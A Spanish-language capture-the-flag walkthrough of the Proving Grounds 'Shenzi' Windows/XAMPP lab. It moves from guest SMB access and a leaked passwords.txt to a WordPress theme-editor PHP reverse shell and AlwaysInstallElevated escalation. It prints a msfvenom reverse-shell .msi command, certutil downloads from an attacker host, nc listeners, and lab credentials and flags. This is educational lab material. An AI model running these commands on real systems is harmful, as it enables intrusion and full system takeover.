the_open_door
café
ESEN

Shenzi

Proving Grounds PracticeMediaWindows192.168.211.55

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#smb#guest#information-disclosure#wordpress#theme-editor#rce#alwaysinstallelevated#msi#xampp#oscp
TL;DR. Shenzi es un XAMPP en Windows. El SMB permite sesión como guest y comparte un recurso con un passwords.txt que filtra las credenciales del WordPress (enumeración SMB con guest). Con admin/FeltHeadwallWight357 entramos al panel y usamos el editor de temas para inyectar PHP en una plantilla y ejecutar código (RCE por el editor de temas de WordPress), cayendo como shenzi. AlwaysInstallElevated está activo, así que un .msi malicioso se instala como SYSTEM (abuso de AlwaysInstallElevated).

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo encuentra un XAMPP típico (Apache, MySQL, FTP) más los puertos de Windows:

ping -c 1 192.168.211.55
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.211.55
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  ssl/http
445/tcp  open  microsoft-ds
3306/tcp open  mysql
nmap -p21,80,135,139,443,445,3306,5040 -sCV 192.168.211.55 -oN targetedScan
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FileZilla ftpd 0.9.41 beta
80/tcp   open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: Welcome to XAMPP
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
445/tcp  open  microsoft-ds?
3306/tcp open  mysql         MariaDB 10.3.24 or later (unauthorized)

SMB - TCP 445

Con la cuenta guest (sin contraseña) enumeramos los recursos y aparece uno con nombre propio, Shenzi, legible (enumeración SMB con guest):

netexec smb 192.168.211.55 -u 'guest' -p '' --shares
smbclient //192.168.211.55/Shenzi -U guest

netexec confirma guest y lista el recurso Shenzi con permiso READ; smbclient descarga sus ficheros

SMB  192.168.211.55  445  SHENZI  [+] shenzi\guest:
SMB  192.168.211.55  445  SHENZI  [*] Enumerated shares
Share       Permissions   Remark
-----       -----------   ------
IPC$        READ          Remote IPC
Shenzi      READ

smb: \> dir
  passwords.txt     A      894  Thu May 28 15:45:09 2020
  readme_en.txt     A     7367  Thu May 28 15:45:09 2020
  xampp-control.ini A      178  Thu May 28 15:45:09 2020

El recurso Shenzi es legible con guest y mget * descarga su contenido. Dentro está un passwords.txt que filtra varias parejas de credenciales, entre ellas las del administrador de WordPress:

cat passwords.txt | grep -iE 'user:|password:'

passwords.txt filtra las credenciales, incluida admin / FeltHeadwallWight357

User: admin
Password: FeltHeadwallWight357
User: xampp-dav-unsecure
Password: ppmax2011

El nombre xampp-dav-unsecure de la segunda pareja apunta a un WebDAV de XAMPP como vector alternativo, pero las credenciales admin son la vía más directa: el WordPress del puerto 80 las acepta tal cual. Nos quedamos con esa ruta.

WordPress - TCP 80

La enumeración del 80 revela un WordPress bajo /shenzi/, con su /shenzi/wp-login.php:

El sitio /shenzi/ es un WordPress ("Welcome to Shenzi WordPress site", post Hello world! por admin)

Explotación

Acceso al panel con credenciales filtradas

Las credenciales admin/FeltHeadwallWight357 de passwords.txt funcionan directamente en el login de WordPress:

Login de WordPress en /shenzi/wp-login.php con admin y FeltHeadwallWight357

RCE por el editor de temas

Con rol de administrador (el panel saluda con "Howdy, admin"), WordPress permite editar el código PHP de los temas desde Appearance → Theme Editor:

Dashboard de WordPress como admin; en Appearance está el Theme Editor y el tema activo es Twenty Twenty

Eso es ejecución de código servida en bandeja: cualquier fichero del tema que editemos se ejecuta con el intérprete PHP al solicitarlo (RCE por el editor de temas de WordPress). Editamos una plantilla del tema Twenty Twenty (404.php) y pegamos una reverse shell PHP:

Editor de temas de WordPress: se pega una reverse shell PHP en la plantilla 404 del tema Twenty Twenty

Dejamos Penelope a la escucha para la reverse shell del tema (el puerto pegado en 404.php):

penelope <port>

Al visitar la ruta del fichero editado, el tema ejecuta el PHP y recibimos la shell:

http://192.168.211.55/shenzi/wp-content/themes/twenty-twenty/errors.php

Al solicitar la plantilla modificada, Penelope recibe una shell como shenzi\shenzi

La shell corre como shenzi.

Local

type local.txt & whoami & ipconfig & hostname

local.txt leída como shenzi\shenzi en Shenzi

ecb72e2cfa5b9e78dc948b9713597024
shenzi\shenzi

Escalada de privilegios

AlwaysInstallElevated

winPEAS (repo) destaca una configuración clásica de escalada: AlwaysInstallElevated está a 1 tanto en HKLM como en HKCU.

En el atacante no hace falta descargarlo de internet: locate lo encuentra entre los restos de otras máquinas, se copia al directorio actual y se sirve por HTTP.

locate winpeas | head -n 4
cp /machines/cascade/exploits/winpeas.exe .
python3 -m http.server 80

locate encuentra cuatro copias de winpeas.exe de otras maquinas, se copia la de cascade y se levanta el http.server en el 80

/winpeas.exe
/machines/cascade/exploits/winpeas.exe
/machines/chatterbox/exploits/winpeas.exe
/machines/sauna/exploits/winpeas.exe

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y desde la víctima se descarga con certutil:

certutil.exe -f -urlcache -split http://192.168.45.164/winpeas.exe winpeas.exe
.\winpeas.exe

certutil descarga winpeas.exe en la víctima y se ejecuta

C:\Users\shenzi\Desktop>certutil.exe -f -urlcache -split http://192.168.45.164/winpeas.exe winpeas.exe
****  Online  ****
  000000  ...
  1d8c00
CertUtil: -URLCache command completed successfully.

C:\Users\shenzi\Desktop>.\winpeas.exe
ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run
 then start a new CMD

La comprobación no depende de winPEAS: las dos claves se consultan a mano, y la escalada solo es posible si ambas valen 1:

reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

winPEAS: AlwaysInstallElevated set to 1 in HKLM y en HKCU

Checking AlwaysInstallElevated
  AlwaysInstallElevated set to 1 in HKLM!
  AlwaysInstallElevated set to 1 in HKCU!

Ambas ramas devuelven 1: la política está activa. Cuando esa política está activa (en ambas ramas), cualquier usuario puede instalar un paquete .msi y el instalador de Windows lo ejecuta como SYSTEM (abuso de AlwaysInstallElevated). Generamos un .msi con msfvenom que lanza una reverse shell, lo descargamos y lo ejecutamos:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.164 LPORT=1234 -f msi > rev.msi
python3 -m http.server 80

msfvenom genera rev.msi (payload de 460 bytes, msi de 159744) y http.server lo sirve

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Con nc a la escucha en el 1234:

rlwrap nc -nlvp 1234
certutil.exe -f -urlcache -split http://192.168.45.164/rev.msi rev.msi
.\rev.msi

El .msi malicioso se instala con AlwaysInstallElevated y la shell devuelve nt authority\system

CertUtil: -URLCache command completed successfully.
C:\Users\shenzi\Desktop>.\rev.msi

connect to [192.168.45.164] from (UNKNOWN) [192.168.211.55] 52535
Microsoft Windows [Version 10.0.19042.1526]
C:\WINDOWS\system32>whoami
nt authority\system

El instalador ejecuta el .msi como SYSTEM y el nc recibe la shell: nt authority\system.

Proof

type proof.txt & whoami & ipconfig & hostname

proof.txt leída como nt authority\system en Shenzi

d0a75a202cf04dffcefeed4da62f1900
nt authority\system

Cadena de ataque

SMB (445)  --  guest lee el recurso Shenzi -> passwords.txt
        │  admin / FeltHeadwallWight357
        ▼
WordPress (80)  --  /shenzi/wp-login.php
        │  Theme Editor: PHP en 404.php -> reverse shell
        ▼
shenzi  (local.txt)
        │  AlwaysInstallElevated=1 (HKLM+HKCU) -> .msi como SYSTEM
        ▼
nt authority\system  (proof.txt)

Lecciones aprendidas

  • guest en SMB no es inofensivo. Una sesión anónima o de invitado que pueda leer un recurso expone todo lo que haya dentro. Aquí un passwords.txt en un share legible entregó las credenciales del CMS.
  • Contraseñas en texto claro = punto único de fallo. Un fichero con parejas usuario/contraseña reutiliza el problema en cada servicio; el admin de WordPress abrió el resto de la cadena.
  • El editor de temas de WordPress es RCE para un administrador. Poder editar PHP del tema equivale a ejecución de código. El rol de administrador debe protegerse como una cuenta con shell, y conviene desactivar la edición de ficheros (DISALLOW_FILE_EDIT).
  • AlwaysInstallElevated es una mala idea documentada. Con la política a 1 en ambas ramas del registro, cualquier .msi corre como SYSTEM. No debería habilitarse nunca en equipos multiusuario.
Cheatsheet de comandos 6 comandos

Repaso rápido